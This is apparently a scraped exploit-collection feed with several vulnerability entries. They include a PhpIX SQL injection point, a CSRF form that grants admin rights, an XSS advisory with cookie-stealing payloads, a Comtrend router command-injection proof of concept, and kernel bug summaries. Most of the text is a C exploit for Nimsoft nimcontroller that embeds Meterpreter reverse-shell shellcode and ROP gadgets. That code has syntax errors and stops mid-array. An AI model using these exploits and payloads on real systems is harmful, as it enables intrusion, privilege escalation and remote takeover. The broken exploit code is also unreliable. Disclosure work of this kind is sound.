Quantcast
Channel: Exploit Collector
Viewing all 13315 articles
Browse latest View live

PhpIX 2012 Professional (Beta) SQL Injection

$
0
0

PhpIX 2012 Professional (Beta) suffers from a remote SQL injection vulnerability.


MD5 | 7fbef1912efd9284d0eff62c2acdb7ed

====================================================================================================================================
| # Title : PhpIX 2012 Professional (Beta) SQL Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) |
| # Vendor : http://www.allhandsmarketing.com/ |
| # Dork : "" |
====================================================================================================================================

poc :


[+] Dorking İn Google Or Other Search Enggine.

[+] /product_detail.php?id=448578 <====| inject here

[+] http://www.pcollectionnecktie.com/sandbox/ <====| Login


Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |
|
=======================================================================================================================================


Business Live Chat Software 1.0 Cross Site Request Forgery

$
0
0

Business Live Chat Software version 1.0 suffers from a cross site request forgery vulnerability.


MD5 | 1d1320830e23d19fa1d2597a945b9b99

# Exploit Title: Business Live Chat Software 1.0 - Cross-Site Request Forgery (Add Admin)
# Description: Operator Can Change Role User Type to admin
# Date: 2020-02-26
# Exploit Author: Meisam Monsef
# Vendor Homepage: https://www.bdtask.com/business-live-chat-software.php
# Version: V-1.0
# Tested on: ubuntu

Exploit :
1 - please login or create account
2 - open exploit.html in browser
3 - change you user id input for Change Role User Type to admin
4 - fill input data (fname - lname - email)
5 - click Update Button
6 - logout account
7 - login again you are admin & Enjoying

<form action="https://TARGET/admin/user/users/create"
enctype="multipart/form-data" method="post" accept-charset="utf-8">
user_id :
<input type="text" name="user_id" value="1"> <!-- change your user_id -->
<br>
fname :
<input type="text" name="fname" value="" /> <!-- fill your first name -->
<br>
lname :
<input type="text" name="lname" value="" /> <!-- fill your last name -->
<br>
email :
<input type="text" name="email" value="" /> <!-- fill your email -->
<br>
user_type :
<input type="text" name="user_type" value="1" />
<br>
status :
<input type="text" name="status" value="1" />
<br>
<button type="submit">Update</button>
</form>

PHP-Fusion CMS 9.03 Cross Site Scripting

$
0
0

PHP-Fusion CMS versions 9 through 9.03 suffer from multiple cross site scripting vulnerabilities.


MD5 | 36a37562129264fbf48b58ea5bfeefa3

SEC Consult Vulnerability Lab Security Advisory < 20200225-0 >
=======================================================================
title: Multiple Cross-site Scripting (XSS) Vulnerabilities
product: PHP-Fusion CMS
vulnerable version: 9 - 9.03
fixed version: 9.03.30
CVE number: -
impact: Medium
homepage: https://www.php-fusion.co.uk
found: 2019-12-09
by: M. Ali (Office Malaysia)
N. Ramadhan (Office Malaysia)
W. Ikram (Office Malaysia)
R. Jaafar (Office Malaysia)
S. Maskan (Office Malaysia)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Europe | Asia | North America

https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"PHP-Fusion is a lightweight open source content management system (CMS) written
in PHP."

Source: https://github.com/php-fusion


Business recommendation:
------------------------
Update to the latest version of PHP-Fusion. An in-depth security
analysis performed by security professionals is highly advised, as the
software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1. Stored XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker (user with edit post
capability) to inject malicious client side scripting code which will be
executed in the browser of a user with "Error Log" access privilege (usually
administrator or super administrator).


2. Reflected XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker to inject malicious
client side scripting code which will be executed in the browser of users.


Proof of concept:
-----------------
1. Stored XSS vulnerability
a) Edit Blog Post Function
This vulnerability can be exploited by an attacker with "edit post" capability.
By editing a blog post, malicious script code can be injected through the
affected parameters (defined below). When saving the changes made, the
application will store the XSS payload in the database as an error (table
<dbtableprefix>_errors). Then, the application will load all the errors to
notify the administrator in the "Error Log" notification module. The XSS payload
will get executed on any page since it was the application behavior loading all
the errors on any page as long as the affected user's session is active.


Below is the example on how the XSS issue can be exploited.

URL : http://$DOMAIN/<PHP-Fusion Directory>/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit&section=blog_form&blog_id=<id#>
METHOD : POST
PAYLOAD: '><script>alert(document.cookie)</script>
PARAMETER: blog_image, blog_image_t1, blog_image_t2

Content-Type: multipart/form-data; boundary=---------------------------247592002319215
Content-Length: 3051
Origin: http://$DOMAIN
Connection: close
Referer: http://$DOMAIN/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit&section=blog_form&blog_id=2
Cookie: [snip]

[snip]
-----------------------------247592002319215
Content-Disposition: form-data; name="blog_image"
pp.jpg'><script>alert(document.cookie)</script>
[snip]


2. Reflected XSS vulnerability
a) Preview Function
This vulnerability can be exploited by an unauthenticated attacker.
The XSS payload is injected in the preview.ajax.php script through the parameter "text".
Below is the example on how the XSS issue can be exploited through CSRF.

URL : http://$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php
METHOD : POST
PAYLOAD: <script>alert(document.cookie)</script>

Create a HTML file with content as below and open it with browser.

<html>
<body>
<form action="$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php" method="POST">
<input type="hidden" name="text" value="xyz<script>alert(document.cookie)</script>zzz" />
<input type="hidden" name="editor" value="html" />
<input type="hidden" name="url" value="/infusion/xxyyzz.php" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>



Vulnerable / tested versions:
-----------------------------
PHP-Fusion version 9.03.00 has been tested, which was the latest version
available at the time of the test.


Vendor contact timeline:
------------------------
2019-12-10: Contacting vendor by email
technical@php-fusion.co.uk, sales@php-fusion.co.uk
billing@php-fusion.co.uk, management@php-fusion.co.uk
2019-12-11: Vendor lead developer contact SEC Consult via Whatsapp and ask to
send the detail unencrypted to his email chan@php-fusion.co.uk
Email sent to the lead developer on the same day.
2020-01-23: Vendor fixed the reported issues, but it can be bypassed. SEC Consult
informed the Lead Developer via Whatsapp. The lead developer
requests extension (3 weeks). Latest possible release date
changed to 24th Feb 2020.
2020-02-01: Vendor fixed issue no. 2 (Reflected XSS). Issue no. 1 (Stored
XSS) remains unfixed.
2020-02-04: Vendor informed fixed version available on github page.
2020-02-11: Vendor requested two weeks to inform their users to update their
websites. Latest possible release date changed to 25th Feb 2020.
2020-02-11: Requesting CVE ID, only automatic reply with request ID
2020-02-21: Asking for CVE ID again, no reply
2020-02-25: Public release of security advisory


Solution:
---------
The fixed version 9.03.30 is available at the vendor's download section:
* https://www.php-fusion.co.uk/php_fusion_9_downloads.php


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF M. Ali, W. Ikram, S. Maskan, N. Ramadhan, R. Jaafar / @2020


Comtrend VR-3033 Command Injection

$
0
0

Comtrend VR-3033 suffers from a command injection vulnerability.


MD5 | 1068034443ae0a1d32707c90982e884d

##Timeline :
*Bug sent to vendor : 17-02-2020
*No Response after 10 days
* Public disclosure: 27-02-020

The Comtrend VR-3033 is prone to Multiple Authenticated Command Injection
vulnerability via ping and traceroute diagnostic page.
Remote attackers are able to get full control and compromise the network
managed by the router.

Note : The same bug may exist in other Comtrend routers .
===============================================
Product Page :
https://us.comtrend.com/products/vr-3030/

Firmware version :
DE11-416SSG-C01_R02.A2pvI042j1.d26m

Bootloader (CFE) Version :
1.0.38-116.228-1

To reproduce the vulnerability attacker has to access the interface at
least with minimum privilege.

1- Open interface
2- click on 'Diagnostic' tab on top.
3- click then on 'Ping' or traceroute
4- on the text input, type 'google.fr;ls - l'
5 - a list of folder names should appear.
#############################
POC session Logs :

GET /ping.cgi?pingIpAddress=google.fr;ls&sessionKey=1039230114 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:73.0)
Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dXNlcjp1c2Vy
Connection: close
Referer: http://192.168.0.1/pingview.cmd
Upgrade-Insecure-Requests: 1



=====================++RESPONSE++=====================

HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Fri, 02 Jan 1970 00:00:26 GMT
Content-Type: text/html
Connection: close

<html><head>
<meta HTTP-EQUIV="Pragma" CONTENT='no-cache'>
<link rel="stylesheet" href='stylemain.css' type='text/css'>
<link rel="stylesheet" href='colors.css' type='text/css'>
<script language="javascript" src="util.js">
</script>
<script language="javascript">
<!-- hide

function btnPing() {
var loc = 'ping.cgi?';

with ( document.forms[0] ) {
if (pingIpAddress.value.length == 0 ) {
return;

}

loc += 'pingIpAddress=' + pingIpAddress.value;
loc += '&sessionKey=1592764063';
}

var code = 'location="' + loc + '"';
eval(code);
}

// done hiding -->

</script>
</head>
<body>
<blockquote>
<form>
<b>Ping&nbsp;</b><br>
<br> Send ICMP ECHO_REQUEST packets to network hosts.<br>
<br><table border="0" cellpadding="0" cellspacing="0"><tr>
<td width="170">Ping IP Address / Hostname:</td>
<td width="170"><input type='text' name='pingIpAddress'
onkeydown="if(event.keyCode == 13){event.returnValue = false;}"></td>
<td width=""><input type='button' onClick='btnPing()' value='Ping'></td>
</tr></table><br>
<tr>
<td>bin
</td><br>
</tr>
<tr>
<td>bootfs
</td><br>
</tr>
<tr>
<td>data
</td><br>
</tr>
<tr>
<td>debug
</td><br>
</tr>
<tr>
<td>dev
</td><br>
</tr>
<tr>
<td>etc
</td><br>
</tr>
<tr>
<td>lib
</td><br>
</tr>
<tr>
<td>linuxrc
</td><br>
</tr>
<tr>
<td>mnt
</td><br>
</tr>
<tr>
<td>opt
</td><br>
</tr>
<tr>
<td>proc
</td><br>
</tr>
<tr>
<td>sbin
</td><br>
</tr>
<tr>
<td>sys
</td><br>
</tr>
<tr>
<td>tmp
</td><br>
</tr>
<tr>
<td>usr
</td><br>
</tr>
<tr>
<td>var
</td><br>
</tr>
<tr>
<td>webs
</td><br>
</tr>
</form>
</blockquote>
</body>
</html>

##Same bug with the same way we exploited in ping function can be exploited
the same way in traceroute function.
Author : Raki Ben Hamouda

Samsung Kernel /dev/vipx Pointer Leak

$
0
0

The function __vipx_ioctl_put_container() in the Samsung kernel calls copy_to_user() on a vs4l_container_list structure that contains a kernel pointer, exposing that kernel pointer to userspace just before it gets passed to kfree().


MD5 | 4d763dd7a0edc38113e6a84e2a16619c


Samsung Kernel /dev/hdcp2 hdcp_session_close() Race Condition

$
0
0

In the Samsung kernel, the /dev/hdcp2 device ioctls seem to implement no locking, leading to multiple exploitable race conditions. For example, you can open a session with the HDCP_IOC_SESSION_OPEN ioctl, and then close it in multiple threads in parallel with the HDCP_IOC_SESSION_CLOSE. Since no locking is implemented in hdcp_session_close(), memory will be corrupted and the system will become unstable.


MD5 | d4c16edeb7e9bb6b2a66c4a9bfe48796


XNU tcp_input Use-After-Free

Samsung Kernel Arbitrary /dev/vipx / /dev/vertex kfree

$
0
0

This function, reached through ioctl VS4L_VERTEXIOC_QBUF in the Samsung kernel, has an error case that cannot function correctly. It reads in an array of pointers from userspace and in-place replaces each userspace pointer with a kernel pointer allocated with kzalloc(). Unfortunately, in the error case it will iterate over all the pointers in the array (regardless of how many, if any, were converted to kernel pointers) and call kfree() on each of them. Thus, all it takes to call kfree() on an arbitrary number of controlled pointers is to make the second copy_from_user() fail after successfully copying in the desired number of pointers to free.


MD5 | 05651491fa9a6c8a32c0a6dc538ee2f3



Chrome DesktopMediaPickerController::WebContentsDestroyed Use-After-Free

Nimsoft nimcontroller 7.80 Remote Code Execution

$
0
0

Nimsoft nimcontroller version 7.80 suffers from an unauthenticated remote code execution vulnerability.


MD5 | 191766a5277a4253e369b17103b4ba2c

/**************************************************************************************************************************
* Exploit Title : Sing About Me, I'm Dying Of Thirst *
* Exploit Author : wetw0rk *
* Exploit Version : Public POC *
* CVE : CVE-2020-8012 *
* Vendor Homepage : https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en *
* Software Version : 7.80 *
* Tested on : Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64) *
* Software Link : Good luck *
* *
* Description: *
* *
* Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. *
* The exploit won't crash the service. *
* *
* You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it *
* should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being *
* universal (worked first try on 2012). *
* *
* Note: *
* *
* This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass *
* the stack cookie. WE OUT HERE!!! *
* *
* Compile: *
* *
* gcc poc_release.c -o singAboutMeImDyingOfThirst *
* *
* Shoutout: *
* *
* Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA *
* for dropping Ghidra, and my Mentor *
* *
* ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- *
* 11/07/19 - Vendor contacted (POC code and POC video sent) *
* 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug *
* 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled *
* 11/22/19 - Vendor rescheduled to Dec 3rd, claims (<ROAST REDACTED>...) *
* 12/03/19 - Vendor confirms exploitability and vulnerability presence *
* 12/13/19 - Vendor finalizing hotfix *
* 12/19/19 - Vendor hotfix tested against POC code *
* 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20 *
* 01/21/20 - Vendor replies (awaiting more info) *
* 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch *
* 02/XX/20 - PoC sample dropped *
**************************************************************************************************************************/

#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */
unsigned char shellcode[] = \
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

const char *exploited[] = \
{
"10.0.18362",
"6.3.9600",
};

const char *versions[]= \
{
"7.80 [Build 7.80.3132, Jun 1 2015]",
};

/********************************************************************************************************************
* *
* NimsoftProbe: *
* *
* This is the structure used for the packet generator, it will be used specifically as the return type. Within *
* the structure there are 2 members, first the pointer to the packet and secondly the packet length. *
* *
* NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer): *
* *
* This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a *
* few modifications where made to handle the exploit buffer (mainly since it contains NULLS). *
* *
********************************************************************************************************************/

#define PHLEN 300 /* header */
#define PBLEN 2000 /* body */
#define PALEN 10000 /* argv */
#define FPLEN 20000 /* final probe */

#define CLIENT "127.0.0.1/1337"

#define INTSIZ(x) snprintf(NULL, 0, "%i", x)

unsigned char packet_header[] = \
"\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a";
unsigned char packet_body[] = \
/* nimbus header */
"\x6d\x74\x79\x70\x65\x0F" /* mtype */
"\x37\x0F\x34\x0F\x31\x30\x30\x0F" /* 7.4.100 */
"\x63\x6d\x64\x0F" /* cmd */
"\x37\x0F%d\x0F" /* 7.x */
"%s\x0F" /* probe */
"\x73\x65\x71\x0F" /* seq */
"\x31\x0F\x32\x0F\x30\x0F" /* 1.2.0 */
"\x74\x73\x0F" /* ts */
"\x31\x0F%d\x0F" /* 1.X */
"%d\x0F" /* UNIX EPOCH */
"\x66\x72\x6d\x0F" /* frm */
"\x37\x0F%d\x0F" /* 7.15 */
"%s\x0F" /* client addr */
"\x74\x6f\x75\x74\x0F" /* tout */
"\x31\x0F\x34\x0F\x31\x38\x30\x0F" /* 1.4.180 */
"\x61\x64\x64\x72\x0F" /* addr */
"\x37\x0F\x30\x0F"; /* 7.0 */

typedef struct {
char *packet;
int length;
} NimsoftProbe;

NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer)
{
int index = 0;
int fmt_args;
int lbody = 0;
int largs = 0;
char *tptr;
char pheader[PHLEN];
char pbody[PBLEN];
char pargs[PALEN];
char pbuffer[FPLEN];
char temp_buffer[80];
char *probe = lparams[0];

int epoch_time = (int)time(NULL);

NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe));

fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s",
(strlen(probe)+1),
probe,
(INTSIZ(epoch_time)+1),
epoch_time,
(strlen(CLIENT)+1),
CLIENT
);

if ((fmt_args + sizeof(packet_body)) > PBLEN) {
printf("Failed to generate packet body\n");
exit(-1);
}

lbody = snprintf(pbody, PBLEN, packet_body,
(strlen(probe)+1),
probe,
(INTSIZ(epoch_time)+1),
epoch_time,
(strlen(CLIENT)+1),
CLIENT
);

for (i = 1; i < nparams; i++)
{
memset(temp_buffer, '\0', 80);

for (j = 0; j < strlen(lparams[i]); j++)
{
if ((c = lparams[i][j]) == '=')
{
memcpy(temp_buffer, lparams[i], j);
index = ++j;
break;
}
}

tptr = lparams[i];

if ((c = 1, c += strlen(temp_buffer)) < PALEN) {
largs += snprintf(pargs+largs, c, "%s", temp_buffer);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}

if (index > 0 && exploit_buffer == 0)
{
tptr = tptr+index;

if ((largs + strlen(tptr) + 2) < PALEN)
{
largs += snprintf(pargs+largs, 2, "%s", "1");
largs++;

largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}

c = 1, c += strlen(tptr);
if ((largs + c) < PALEN)
{
largs += snprintf(pargs+largs, c, "%s", tptr);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
}

if (index > 0 && exploit_buffer > 0)
{
tptr = tptr+index;

if ((largs + exploit_buffer + 2) < PALEN)
{
largs += snprintf(pargs+largs, 2, "%s", "1");
largs++;

largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}

c = 1, c += exploit_buffer;

if ((largs + c) < PALEN)
{
memcpy(pargs+largs, tptr, c);
largs += exploit_buffer;
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
}
}

index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs);
index += lbody;

if (index < FPLEN) {
strncat(pbuffer, pbody, lbody);
} else {
printf("Failed to concatenate packet body\n");
exit(-1);
}

for (i = 0; i < index; i++)
if (pbuffer[i] == '\x0f')
pbuffer[i] = '\x00';

if ((index + largs) < FPLEN) {
for (i = 0; i < largs; i++)
pbuffer[index++] = pargs[i];
}
else {
printf "Failed to concatenate packet arguments\n");
exit(-1);
}

probePtr->packet = pbuffer;
probePtr->length = index;

return probePtr;
}

/*********************************************************************************************************************
* *
* int parse_directory(char *response, int length): *
* *
* This function will parse the directory contents, specifically looking for the entry keyword; if found, we can *
* proceed with exploitation. *
* *
* int check_vulnerability(char *rhost, int rport): *
* *
* This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once *
* sent the returned packet will be parsed by parse_directory. *
* *
*********************************************************************************************************************/

#define PE "(\033[1m\033[31m-\033[0m)"
#define PI "(\033[1m\033[94m*\033[0m)"
#define PG "(\033[1m\033[92m+\033[0m)"

int parse_directory(char *response, int length)
{
int i;
int backup;
int check = 0;
int index = 0;

char buf[80];
struct tm ts;
time_t capture;

if (strncmp(response, "nimbus/1.0", 10) != 0)
return -1;

while (index < length)
{
if (strcmp("entry", (response+index)) == 0)
printf("%s Persistence is an art\n\n", PG);

if (strcmp("name", (response+index)) == 0) {
backup = index;
check = 1;

/* last modified */
for (int i = 0; i < 15; i++)
index += strlen(response+index) + 1;
capture = atoi(response+index);
ts = *localtime(&capture);
strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts);
printf("%12s ", buf);
index = backup;

/* type */
for (int i = 0; i < 7; i++)
index += strlen(response+index) + 1;
if (strcmp("2", (response+index)) == 0)
printf("%7s", "");
else
printf("%-7s", "<DIR>");
index = backup;
/* name */
for (int i = 0; i < 3; i++)
index += strlen(response+index) + 1;
printf("%s\n", response+index);
}
index += strlen(response+index) + 1;
}

return (check != 1) ? -1 : 0;
}

int check_vulnerability(char *rhost, int rport)
{
int c;
int sock;
int count;

NimsoftProbe *probe;
char response[BUFSIZ];
struct sockaddr_in srv;
char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" };

probe = packet_gen(get_directory_listing, 3, 0);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;

srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;

if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;
printf("%s Verifying vulnerable probe is reachable\n", PI);

send(sock, probe->packet, probe->length, 0);
count = read(sock, response, BUFSIZ);

if (parse_directory(response, count) == 0)
printf("\n%s Target ready for exploitation\n", PG);
else
return -1;

free(probe);
close(sock);

return 0;
}

/********************************************************************************************************************
* *
* char *nimdex(char *haystack, char *needle, int size): *
* *
* This function works similar to strstr, however it was specifically made to index "keys" to their respective *
* "values" within a Nimbus packet. It has only been tested against the get_info packet. *
* *
* int parse_response(char *response, int length): *
* *
* This function leverages nimdex to perform 2 checks. The first check will verify the target operating system *
* has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has *
* a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in *
* my ROP chain being universal. *
* *
* int check_version(char *rhost, int rport): *
* *
* This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent *
* the returned packet will be parsed by parse_response. *
* *
********************************************************************************************************************/

char *nimdex(char *haystack, char *needle, int size)
{
int found = 0;
int index = 0;

if (strncmp(haystack, "nimbus/1.0", 10) != 0)
return NULL;

while (index < size)
{
if (strcmp(needle, (haystack+index)) == 0)
found = 2;
else if (found >= 2)
found++;
if (found == 5)
return &haystack[index];
index += strlen(haystack+index) + 1;
}
return NULL;
}

int parse_response(char *response, int length)
{
int i;
int c;
char *ptr;
int check = 0;
int nv = sizeof(versions)/sizeof(versions[0]);
int ne = sizeof(exploited)/sizeof(exploited[0]);

if ((ptr = nimdex(response, "os_minor", length)) == NULL)
return -1;
printf("%s Probe successful, detected: %s\n", PI, ptr);

if ((ptr = nimdex(response, "os_version", length)) == NULL)
return -1;

for (i = 0; i < ne; i++)
if ((strcmp(exploited[i], ptr)) == 0)
check = 1;

if (check != 1)
{
printf("%s Exploit has not been tested against OS version\n", PE);
printf("%s Continute exploitation (Y/N): ", PE);

c = getchar();
if (tolower(c) != 'y')
exit(-1);

printf("%s If exploitation successful, update code!!!\n", PI);
if ((ptr = nimdex(response, "os_version", length)) == NULL)
return -1;
printf("%s Target OS ID: %s\n", PI, ptr);
}
else
printf("%s Target OS appears to be exploitable\n", PI);

check = 0;

if ((ptr = nimdex(response, "version", length)) == NULL)
return -1;

for (i = 0; i < nv; i++)
if ((strcmp(versions[i], ptr)) == 0)
check = 1;

if (check != 1) {
printf("%s Exploit has not been tested against target build\n", PE);
exit(-1);
} else
printf("%s Nimbus build appears to be exploitable\n", PI);

return 0;
}

int check_version(char *rhost, int rport)
{
int c;
int sock;
int count;
NimsoftProbe *probe;
char response[BUFSIZ];
struct sockaddr_in srv;
char *get_operating_sys[] = { "get_info", "interfaces=0" };

probe = packet_gen(get_operating_sys, 2, 0);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;

srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;

if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;

printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport);

send(sock, probe->packet, probe->length, 0);
count = read(sock, response, BUFSIZ);

if ((parse_response(response, count) != 0)) {
printf("%s Probe failed, unable to parse packet\n", PE);
exit(-1);
}

free(probe);
close(sock);

return 0;
}

/*****************************************************************************************************************
* This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail. *
* I had VP work 50% of the time when the stack was unaligned. *
*****************************************************************************************************************/
int64_t rsp_alignment_rop_gadgets[] = {

[0 ... 19] = 0x0000000140018c42, // ret (20 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400af237, // pop rdi ; ret
0x0000000000000007, // alignment for rsp
0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
};

/*****************************************************************************************************************
* This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. *
* Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated, *
* we needn't worry about other Windows OS's. *
*****************************************************************************************************************/
int64_t dep_bypass_rop_gadgets[] = {

